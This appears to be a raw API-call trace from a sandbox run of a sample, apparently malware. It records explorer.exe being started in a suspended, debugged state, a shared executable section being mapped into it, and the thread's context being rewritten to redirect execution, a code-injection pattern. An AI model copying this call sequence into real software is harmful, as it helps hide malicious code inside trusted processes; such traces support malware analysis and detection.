	[0053.991] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x20) returned 0x94ecc0
	[0053.991] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x20) returned 0x94ee00
	[0053.991] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94ee00) returned 1
	[0053.991] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x41) returned 0x94fbf0
	[0053.991] sprintf (in: _Dest=0x94fbf0, _Format="%0.2x" | out: _Dest="c3") returned 2
	[0053.991] sprintf (in: _Dest=0x94fbf2, _Format="%0.2x" | out: _Dest="f7") returned 2
	[0053.991] sprintf (in: _Dest=0x94fbf4, _Format="%0.2x" | out: _Dest="e2") returned 2
	[0053.992] sprintf (in: _Dest=0x94fbf6, _Format="%0.2x" | out: _Dest="c9") returned 2
	[0053.992] sprintf (in: _Dest=0x94fbf8, _Format="%0.2x" | out: _Dest="6e") returned 2
	[0053.992] sprintf (in: _Dest=0x94fbfa, _Format="%0.2x" | out: _Dest="de") returned 2
	[0053.992] sprintf (in: _Dest=0x94fbfc, _Format="%0.2x" | out: _Dest="c0") returned 2
	[0053.992] sprintf (in: _Dest=0x94fbfe, _Format="%0.2x" | out: _Dest="f6") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc00, _Format="%0.2x" | out: _Dest="6d") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc02, _Format="%0.2x" | out: _Dest="2b") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc04, _Format="%0.2x" | out: _Dest="38") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc06, _Format="%0.2x" | out: _Dest="0e") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc08, _Format="%0.2x" | out: _Dest="f1") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc0a, _Format="%0.2x" | out: _Dest="85") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc0c, _Format="%0.2x" | out: _Dest="ec") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc0e, _Format="%0.2x" | out: _Dest="da") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc10, _Format="%0.2x" | out: _Dest="1e") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc12, _Format="%0.2x" | out: _Dest="38") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc14, _Format="%0.2x" | out: _Dest="23") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc16, _Format="%0.2x" | out: _Dest="8b") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc18, _Format="%0.2x" | out: _Dest="01") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc1a, _Format="%0.2x" | out: _Dest="da") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc1c, _Format="%0.2x" | out: _Dest="56") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc1e, _Format="%0.2x" | out: _Dest="01") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc20, _Format="%0.2x" | out: _Dest="90") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc22, _Format="%0.2x" | out: _Dest="d0") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc24, _Format="%0.2x" | out: _Dest="b2") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc26, _Format="%0.2x" | out: _Dest="da") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc28, _Format="%0.2x" | out: _Dest="b1") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc2a, _Format="%0.2x" | out: _Dest="10") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc2c, _Format="%0.2x" | out: _Dest="b5") returned 2
	[0053.992] sprintf (in: _Dest=0x94fc2e, _Format="%0.2x" | out: _Dest="a3") returned 2
	[0053.992] RtlInitAnsiString (in: DestinationString=0x4ff8dc, SourceString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3" | out: DestinationString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3") 
	[0053.992] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8e4, SourceString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3", AllocateDestinationString=1 | out: DestinationString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3") returned 0x0
	[0053.992] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x82) returned 0x955d70
	[0053.992] RtlFreeAnsiString (AnsiString="c") 
	[0053.992] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954b90
	[0053.993] wcscpy (in: _Dest=0x954b90, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\"
	[0053.993] wcscat (in: _Dest=0x954b90, _Source="NQDPDE" | out: _Dest="\\\\NQDPDE") returned="\\\\NQDPDE"
	[0053.993] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x954a38
	[0053.993] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954c10
	[0053.993] wcscpy (in: _Dest=0x954c10, _Source="\\\\NQDPDE" | out: _Dest="\\\\NQDPDE") returned="\\\\NQDPDE"
	[0053.993] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x954b90) returned 1
	[0053.993] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94ecc0) returned 1
	[0053.993] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x936e20) returned 1
	[0053.993] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x955be0) returned 1
	[0053.993] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954b90
	[0053.993] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x20a) returned 0x955e00
	[0053.993] GetSystemDirectoryW (in: lpBuffer=0x955e00, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0053.993] wcscat (in: _Dest=0x955e00, _Source="\\" | out: _Dest="C:\\WINDOWS\\system32\\") returned="C:\\WINDOWS\\system32\\"
	[0053.993] wcscat (in: _Dest=0x955e00, _Source="explorer.exe" | out: _Dest="C:\\WINDOWS\\system32\\explorer.exe") returned="C:\\WINDOWS\\system32\\explorer.exe"
	[0053.993] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x28) returned 0x947b10
	[0053.993] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000022, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x4ff8c4*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4ff96c | out: lpCommandLine=0x0, lpProcessInformation=0x4ff96c*(hProcess=0x200, hThread=0x204, dwProcessId=0x113c, dwThreadId=0x1138)) returned 1
	[0055.195] WaitForDebugEvent (in: lpDebugEvent=0x4ff908, dwMilliseconds=0xffffffff | out: lpDebugEvent=0x4ff908) returned 1
	[0055.449] NtCreateSection (in: SectionHandle=0x4ff5d0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x4ff5b0, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x4ff5d0*=0x220) returned 0x0
	[0055.449] NtMapViewOfSection (in: SectionHandle=0x220, ProcessHandle=0xffffffff, BaseAddress=0x4ff5d4*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x4ff5c4*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x4ff5d4*=0x1b0000, SectionOffset=0x0, ViewSize=0x4ff5c4*=0x1b000) returned 0x0
	[0055.451] NtMapViewOfSection (in: SectionHandle=0x220, ProcessHandle=0x200, BaseAddress=0x4ff5cc*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x4ff5c4*=0x1b000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x4ff5cc*=0x2760000, SectionOffset=0x0, ViewSize=0x4ff5c4*=0x1b000) returned 0x0
	[0055.452] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x1b0000) returned 0x0
	[0058.421] NtClose (Handle=0x220) returned 0x0
	[0058.421] NtGetContextThread (in: ThreadHandle=0x204, Context=0x4ff5f8 | out: Context=0x4ff5f8*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x29ff000, Edx=0x0, Ecx=0x0, Eax=0x26b5c0, Ebp=0x0, Eip=0x778c4210, SegCs=0x23, EFlags=0x202, Esp=0x272faa0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0xe8, [289]=0x7, [290]=0xc, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x10, [297]=0x4c, [298]=0x95, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x3d, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x12, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x93, [315]=0x0, [316]=0x14, [317]=0x3, [318]=0x93, [319]=0x0, [320]=0x1, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0xa0, [325]=0xf8, [326]=0x4f, [327]=0x0, [328]=0x12, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x32, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x20, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0xfa, [345]=0x1, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x93, [355]=0x0, [356]=0x40, [357]=0x4b, [358]=0x95, [359]=0x0, [360]=0x3d, [361]=0x2, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0xc8, [369]=0x1, [370]=0x1, [371]=0x1, [372]=0x3d, [373]=0x0, [374]=0x0, [375]=0x3d, [376]=0x88, [377]=0x1c, [378]=0x94, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0x93, [383]=0x0, [384]=0xe8, [385]=0x7, [386]=0xc, [387]=0x0, [388]=0xf5, [389]=0x32, [390]=0x89, [391]=0x77, [392]=0x90, [393]=0x4b, [394]=0x95, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x18, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x12, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x18, [409]=0x2, [410]=0x0, [411]=0x0, [412]=0xf8, [413]=0xf8, [414]=0x4f, [415]=0x0, [416]=0x32, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x50, [421]=0x21, [422]=0x83, [423]=0x1, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x1, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x60, [433]=0x2, [434]=0x93, [435]=0x0, [436]=0x20, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0xd0, [441]=0x7, [442]=0xc, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x58, [449]=0x2a, [450]=0x95, [451]=0x0, [452]=0x43, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0xfa, [457]=0x1, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0xc, [463]=0x0, [464]=0x1, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x1, [474]=0x0, [475]=0x1, [476]=0x20, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x5c, [485]=0x4b, [486]=0x95, [487]=0x0, [488]=0x3d, [489]=0x0, [490]=0x0, [491]=0x3d, [492]=0xf8, [493]=0x5d, [494]=0x95, [495]=0x0, [496]=0xf8, [497]=0x5d, [498]=0x95, [499]=0x0, [500]=0xa, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x5e, [506]=0x95, [507]=0x0, [508]=0x12, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0
	[0058.422] NtSetContextThread (ThreadHandle=0x204, Context=0x4ff5f8*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x29ff000, Edx=0x0, Ecx=0x0, Eax=0x26b5c0, Ebp=0x0, Eip=0x2773a10, SegCs=0x23, EFlags=0x202, Esp=0x272faa0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0xe8, [289]=0x7, [290]=0xc, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x10, [297]=0x4c, [298]=0x95, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x3d, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x12, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x93, [315]=0x0, [316]=0x14, [317]=0x3, [318]=0x93, [319]=0x0, [320]=0x1, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0xa0, [325]=0xf8, [326]=0x4f, [327]=0x0, [328]=0x12, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x32, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x20, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0xfa, [345]=0x1, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x93, [355]=0x0, [356]=0x40, [357]=0x4b, [358]=0x95, [359]=0x0, [360]=0x3d, [361]=0x2, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0xc8, [369]=0x1, [370]=0x1, [371]=0x1, [372]=0x3d, [373]=0x0, [374]=0x0, [375]=0x3d, [376]=0x88, [377]=0x1c, [378]=0x94, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0x93, [383]=0x0, [384]=0xe8, [385]=0x7, [386]=0xc, [387]=0x0, [388]=0xf5, [389]=0x32, [390]=0x89, [391]=0x77, [392]=0x90, [393]=0x4b, [394]=0x95, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x18, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x12, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x18, [409]=0x2, [410]=0x0, [411]=0x0, [412]=0xf8, [413]=0xf8, [414]=0x4f, [415]=0x0, [416]=0x32, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x50, [421]=0x21, [422]=0x83, [423]=0x1, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x1, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x60, [433]=0x2, [434]=0x93, [435]=0x0, [436]=0x20, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0xd0, [441]=0x7, [442]=0xc, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x58, [449]=0x2a, [450]=0x95, [451]=0x0, [452]=0x43, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0xfa, [457]=0x1, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0xc, [463]=0x0, [464]=0x1, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x1, [474]=0x0, [475]=0x1, [476]=0x20, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x5c, [485]=0x4b, [486]=0x95, [487]=0x0, [488]=0x3d, [489]=0x0, [490]=0x0, [491]=0x3d, [492]=0xf8, [493]=0x5d, [494]=0x95, [495]=0x0, [496]=0xf8, [497]=0x5d, [498]=0x95, [499]=0x0, [500]=0xa, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x5e, [506]=0x95, [507]=0x0, [508]=0x12, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0
	[0058.422] ContinueDebugEvent (dwProcessId=0x113c, dwThreadId=0x1138, dwContinueStatus=0x80010001) returned 1
	[0058.423] DebugActiveProcessStop (dwProcessId=0x113c) returned 1
